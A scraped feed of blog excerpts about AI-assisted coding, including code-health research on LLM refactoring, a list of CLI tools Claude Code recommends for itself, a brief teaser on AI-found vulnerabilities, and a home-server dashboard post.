isn’t going away any more than the automated loom, steam engines or nuclear reactors did. For better or for worse, the technology is here for good. What’s left to decide is how we best maximize its benefits while mitigating its costs. ❄                ❄                ❄                ❄                ❄ Adam Tornhill shares some more of his company’s research on code health and its impact on agentic development. The study Code for Machines, Not Just Humans defines “AI-friendliness” as the probability that AI-generated refactorings preserve behavior and improve maintainability. It’s a large-scale study of 5,000 real programs using six different LLMs to refactor code while keeping all tests passing. They found that LLMs performed consistently better in healthy code bases. The risk of defects was 30% higher in less-healthy code. And a limitation of the study was that the less-healthy code wasn’t anywhere near as bad as much legacy code is. What would the AI error rate be on such code? Based on patterns observed across all Code Health research, the relationship is almost certainly non-linear. ❄                ❄                ❄                ❄                ❄ In a conversation with one heavy user of LLM coding agents: Thank you for all your advocacy of TDD ( Test-Driven Development ). TDD has been essential for us to use LLMs effectively I worry about confirmation bias here, but I am hearing from folks on the leading edge of LLM usage about the value of clear tests, and the TDD cycle. It certainly strikes me as a key tool in driving LLMs effectively.

0 views
(think) 1 weeks ago

Supercharging Claude Code with the Right (CLI) Tools

I’ve been using Claude Code quite a bit lately, and I got curious – what if I asked it directly which tools would make it more productive? Not the usual suspects like , or , but tools it wishes it had access to, tools that would genuinely extend its capabilities. So I did exactly that. I asked Claude Code: “What are the most valuable CLI tools I could install for you, outside of the ones you already have?” The answer was surprisingly thoughtful and insightful, so I figured I’d share it here along with my own commentary. Here are 10 tools, ranked by how useful they’d be for an AI coding assistant. Note: I write all my blog posts old-school, but this time around I took the liberty to just extend with my comments the output generated by Claude Code. Note also that the post includes some installation instructions that are macOS-specific. That’s what I got from Claude on my local machine (a Mac mini), and I felt it didn’t make much sense to tweak them given how many combinations of operating systems and package managers exist. This was Claude’s number one pick, and I can see why. ast-grep does structural code search and refactoring using AST patterns. Instead of fumbling with regex to find “all calls to function X with 3 arguments”, you write patterns that look like actual code: This is the kind of thing where regex is fragile and error-prone, but AST matching just works. Supports 20+ languages via tree-sitter . A structural diff tool that understands syntax. difftastic compares files by AST nodes rather than lines, so it won’t flag whitespace changes or reformatting as meaningful diffs. This makes reviewing AI-generated changes much clearer – and let’s be honest, reviewing changes is half the job when working with an AI assistant. AI assistants generate a lot of shell commands, and shell scripting is notoriously full of pitfalls (unquoted variables, vs. , POSIX compatibility…). ShellCheck catches these before they blow up. Given that shell bugs can be destructive (e.g., expanding to ), having a safety net here is valuable. A modern replacement with sane regex syntax – no more escaping nightmares. Uses standard PCRE-style regex and has a string-literal mode ( ) for replacing code strings full of metacharacters. Simple, but it eliminates a whole class of errors when generating substitution commands. Sloc Cloc and Code – a fast code counter that gives you an instant overview of a codebase: languages, lines of code, complexity estimates. Understanding the shape of a project before diving in is genuinely useful context for an AI assistant, and this is hard to replicate by manually scanning files. Note: I was under the impression that cloc is a better tool, but perhaps I was mistaken. 1 for YAML (and JSON, TOML, XML). Modern projects are drowning in YAML – GitHub Actions workflows, Kubernetes manifests, Docker Compose files. yq can programmatically query and update YAML while preserving comments and formatting, which is much more reliable than text-based editing that can break indentation. Structural search and replace that works across languages without needing a full parser. Complements ast-grep for simpler pattern matching – it understands delimiters (braces, parens, quotes) but doesn’t need tree-sitter grammar support. Great for quick refactoring across less common languages or config files. Note: I was happy to see that was written in OCaml, but when I installed it I got a warning that the project was deprecated and doesn’t support OCaml 5, so I’m not sure about its future. A command-line benchmarking tool that runs commands multiple times and gives you proper statistical analysis. When you ask an AI to optimize something, it’s nice to have real numbers. The flag produces results ready for a PR description. A file watcher that executes commands when files change. Useful for setting up persistent feedback loops – rerun tests on save, rebuild docs when markdown changes, restart a dev server after config edits. One command instead of cobbling together something with and shell scripts. A syntax-highlighting pager for and friends. Provides word-level diff highlighting, so when only a variable name changes in a long line, you see exactly that. Mostly benefits the human reviewing the AI’s work, but that’s arguably where it matters most. If you only install one tool from this list, make it . It’s the biggest capability gap – an AI assistant limited to regex-based search and replace is like a carpenter limited to a hand saw. Everything else is nice to have, but structural code understanding is a genuine superpower. You can install everything at once if you’re feeling adventurous: I’m not ashamed to admit that I had never heard of some of the tools (e.g. , and ), and I had only one of them installed ( ). 2 It’s never too late to learn something new! By the way, keep in mind that depending on the programming languages that you’re using there are other language specific tools that you can benefit from, so make sure to ask your favorite AI coding tool about those. That’s all I have for you today. Keep hacking! I asked Claude about this as well and it told me that it prefers because it’s written in Go (as opposed to Perl) and therefore it’s much faster than .  ↩ Of course, I didn’t really have it installed - I only thought I did, otherwise Claude wouldn’t have suggested it. (I switch between computers and my setup on all of them is not exactly the same)  ↩ I asked Claude about this as well and it told me that it prefers because it’s written in Go (as opposed to Perl) and therefore it’s much faster than .  ↩ Of course, I didn’t really have it installed - I only thought I did, otherwise Claude wouldn’t have suggested it. (I switch between computers and my setup on all of them is not exactly the same)  ↩

1 views
Martin Alderson 1 weeks ago

Anthropic's 500 vulns are the tip of the iceberg

Anthropic's red team found 500+ critical vulnerabilities with Claude. But they focused on maintained software. The scarier problem is the long tail that nobody will ever patch.

0 views
Ruslan Osipov 1 weeks ago

Homepage for a home server

I have a NAS (Network Accessible Storage) which doubles as a home server. It’s really convenient to have a set of always-on, locally hosted services - which lets me read RSS feeds without distractions, have local photos storage solution, or move away from streaming services towards organizing my (legally owned) collections of movies, shows, and audiobooks. At this point I have 20-or-so services running and sometimes it gets hard to keep track of what’s where. For that - I found Homepage . A simple, fast, lightweight page which connects to all of my services for some basic monitoring, and reminds me what my service layout looks like. Here’s what I built: I love that the configuration lives in YAML files, and because the page is static - it loads real fast. There are many widgets which provide info about various services out of the box. It’s neat. There’s definitely a question of how much I’ll keep this up-to-date: it’s not an automatically populated dashboard, and editing is a two-step process (SSH into the machine, edit the YAML configs) - which adds some friction. We’ll have to wait and see, but for now I’m excited about my little dashboard.

0 views